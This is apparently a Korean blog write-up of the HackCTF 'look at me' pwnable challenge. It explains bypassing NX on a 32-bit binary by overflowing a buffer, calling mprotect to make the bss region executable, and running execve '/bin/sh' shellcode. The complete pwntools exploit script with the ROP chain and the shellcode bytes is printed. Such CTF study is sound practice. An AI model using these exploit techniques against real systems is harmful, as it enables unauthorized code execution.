WAR GAME/HackCTF

[HackCTF : Pwnable] look at me 풀이 (32bit, mprotect)

jir4vvit 2021. 4. 9. 17:38

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

롸업 구글링해보니 다른 풀이도 있길래 그 방법으로 한번 풀어보려고 한다.


주어진 파일은 문제 파일 바이너리

Analysis

[HackCTF : Pwnable] look at me 풀이 (32bit, syscall) 참고참고 ~~ 

 

How to exploit

system 함수가 없어서 mprotect 함수를 이용하려고 한다.

 

mprotect(원하는 주소, 사이즈, 권한)

mprotect 함수는 원하는 코드 영역의 권한을 변경할 수 있는 함수이다.

지금 nx가 걸려있어서 쉘코드 실행이 안되는데 이 함수를 이용하여 bss 영역의 권한을 7로 바꿔주고 쉘코드를 집어넣어 실행시킬 것이다.

 

mprotect의 인자값을 넣을 때 주의해야 할 점이 있다.

첫번째 인자인 원하는 주소에는 0x1000의 배수가 되어야 한다.

 

bss 주소가 0x080eaf80인데, 첫번째 인자를 0x080ea000으로 주고 사이즈를 크게크게 주면 될 것 같다.

 

참고로 인자를 넣기 위해 pppr 가젯이 필요한데 이 가젯은 아래와 같이 구했다.

objdump -d lookatme| grep -B4 'ret'

 

Let's exploit!

from pwn import *

p = process('./lookatme')
 
e = ELF('./lookatme')

main = 0x80488a3
gets_addr = e.symbols['gets']
pppr = 0x80bafb9
mprotect_addr = e.symbols['mprotect']

# first main
payload = ''
payload += 'a' * (0x18+0x4)
payload += p32(gets_addr)
payload += p32(main)
payload += p32(e.bss())

p.sendlineafter('\n', payload)
p.sendline('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80')

# second main
payload = ''
payload += 'a' * (0x18 + 0x4)
payload += p32(mprotect_addr)
payload += p32(pppr)
payload += p32(0x080ea000)
payload += p32(10000)
payload += p32(7)
payload += p32(e.bss())

p.sendlineafter('\n', payload)


p.interactive()